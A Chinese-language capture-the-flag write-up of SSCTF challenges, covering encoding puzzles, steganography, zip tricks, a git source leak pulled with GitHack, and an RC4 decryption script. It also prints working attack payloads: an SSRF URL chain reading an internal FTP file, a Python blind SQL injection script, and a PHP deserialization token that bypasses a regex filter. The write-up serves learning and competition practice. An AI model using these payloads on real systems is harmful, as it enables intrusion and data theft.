但是有遗憾有惊喜吧!还是简单记录一些东西。
自己做的部分
签到题
这道题直接给出了一串字符串,直接base64解码
这里看到了<span style="color:red;">{}</span>就有一种熟悉的感觉!
一开始也没有头绪,不过常见的加密方式就那几种,并且是个签到题,感觉没这么麻烦
首先想到的是凯撒移位,因为flag是ssctf{},讲道理应该有ssctf的
最后栅栏解密
捡吗?
这道题虽然只有100分,但是却引起了尴尬。。。。
官方提示ssrf,但是内网地址。。。。最后官方受不了直接给了ssrf过程。。。!
主页是个图片,右键源码
<img src=" ./news.php?url=127.0.0.1/img.jpg ">
127.0.0.1,已经很明显了,再根据官方提示,poyload
http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=ftp://172.17.0.2:21/flag.txt
但是这样提交之后,没反应,试了试大写绕过Ftp,读到flag
你知道我在等你么
直接下载,我存到了云盘密码:pdxn,是一个mp3格式文件,但是打不开,用HxD打开,一看是压缩包
直接解压,的到三个文件
扫描提示的二维码,<span style="color:red;">神龙摆尾(ps:不是让你看内容!!!)</span>
有个zip文件是加密的,应该mp3文件含着密码,由于前几天做过一个看波形的题。。。但是没发现什么
又想到提示内容,就用HxD打开mp3文件,直接看结尾,可以的字符串,直接解密,开了。
<span style="color:red;">这个地方,在看大佬wp的时候学到了一个新姿势,linux命令strings,可以直接导出文件字符串,具体使用可以百度</span>
解压之后得到一张图片,老套路,16进制打开,试着搜索FF D9,可以从下图容易看出
后面是个png,扣数据,保存,注意文件头是坏的,需要修复
打开之后还是一个二维码,扫描是下载一个文本,打开之后。。。。。又是PK。。。。。。。。我。。。。无言以对
这是个伪加密,改图片处0->1,解压得到base64,解码,还需要url解码得到flag
这个300分真的不好拿。。。。。
flag在哪里
打开链接,是个网址,而且下载的是个文件,。。。很令人怀疑啊,为什么还要打开一个网址??
这是我没提交成flag的那道题,一开始并没有思路,第二天,学长提示git源码泄露,才有了思路
打开数据包,发现就是一些git,./nijiakadaye,的字样,又搜了搜相关资料
果断linux,安装GitHack,并下载源码
git clone https://github.com/BugScanTeam/GitHack
cd GitHack
python GitHack.py http://60.191.205.87/.nijiakadaye/
在网址目录打开终端,输入git log -u查看提交历史
直接提交{}内容,不对。。。。。继续往下看,发现了pass.php,直接逆向解密
<?php
function wtf($data,$pwd) {
$cipher ="";
$key[] ="";
$box[] ="";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < 256; $i++) {
$key[$i] = ord($pwd[$i % $pwd_length]);
$box[$i] = $i;
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $key[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $data_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$k = $box[(($box[$a] + $box[$j]) % 256)];
$cipher .= chr(ord($data[$i]) ^ $k);
}
return $cipher;
}
$a='xsL3HOvFlV+H40s0mhszc5t1x38EU0ZIFJHZ/h2sC3U=';
$decrypt=wtf(base64_decode($a),'ssctf');
echo $decrypt;
?>
看大佬wp复现的部分
我们的秘密是绿色的
这道题长的姿势也不少的,首先就是题目也要注意,可能会是提示,比如这道,我们的秘密-OurSecret是这个工具
这个工具解密是需要密码的,题目提示秘密是绿色,观察图片,绿色部分的数字:0405111218192526
解压之后是个压缩包,提示密码是生日,8位数字爆破
接下来又是新姿势,明文攻击(条件具体可以百度),下面第一张图片也可以算是明文攻击特征吧,将readme相同方式压缩,作为明文文件
解压之后又是伪加密。。。。似乎,充满了二维码,爆破密码,伪加密。。。。。得到下面的东西,和签到一样的手法
qddpqwnpcplen%prqwn_{_zz*d@gq}
CloverSec Logos
首先是盲注,得到admin密码,贴上chamd5团队脚本
import requests
s = requests.session()
ll = "1234567890qwertyuiopasdfghjklzxcvbnm"
username = ""
for j in range(1,32):
print j
for i in ll:
url = 'http://60.191.205.80/picture.php?id=1"%26%26substr((select(passwoorrd)from(user)where(id=1)),'+str(j)+',1)="'+i
# print url
# username = ""
r = s.get(url)
# print r.text
if "Picture not found" not in r.text:
username = username + i
print username
break
然后就是反序列化了,这个题目wp是校内决赛之后加上的。。因为出了一道一样的反序列化问题
先看代码部分index.txt和include.txt,这后边是校内决赛代码,ssctf似乎已经关闭了
<?php
echo "<!--index.txt-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
if($id==0)
{
if(isset($_COOKIE['token']))
{
$key=$_GET['key'];
$token =$_COOKIE['token'];
if(isset($key)&&(file_get_contents($key,'r')==="I want flag!!!"))
{
echo "hello Hacker!<br>";
include("include.php");
echo cumtctf_unserialize($token);
}
else
{
echo "You are not Hacker ! ";
}
}
}
?>
<?php
echo "<!--include.txt-->";
class Read{//flag.php
public $file;
public function __toString(){
if(isset($this->file)){
if("flag.php"===$this->file||stripos($this->file,"://")>-1)
{
exit();
}
else
{
echo file_get_contents($this->file);
}
}
return "you are big Hacker";
}
}
function cumtctf_unserialize($value)
{
preg_match('/[oc]:\d+:/i', $value,$matches);
if(count($matches)){
return false;
}
return unserialize($value);
}
?>
首先index.txt中get-id,传参id=0
然后首先看file_get_contents函数,这里要求传入的key=I want flag!!!
这里我们能够利用php的<span style="color: red;">封装协议php://input</span>,他能够得到POST原始数据,用火狐很方便
最后就是对token的操作,由include.txt代码部分可以知道,可以反序列化读取flag.php
但是代码中if("flag.php"===$this->file||stripos($this->file,"://")>-1)过滤了flag.php
这里可以用./flag.php绕过
preg_match('/[oc]:d+:/i', $value,$matches);利用符号+就不会正则匹配到数字
<span style="color: red;">token=O:+4:"Read":1:{s:4:"file";s:10:"./flag.php";}</span>
最终token=O%3a%2b4%3a%22Read%22%3a1%3a%7bs%3a4%3a%22file%22%3bs%3a10%3a%22.%2fflag.php%22%3b%7d
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。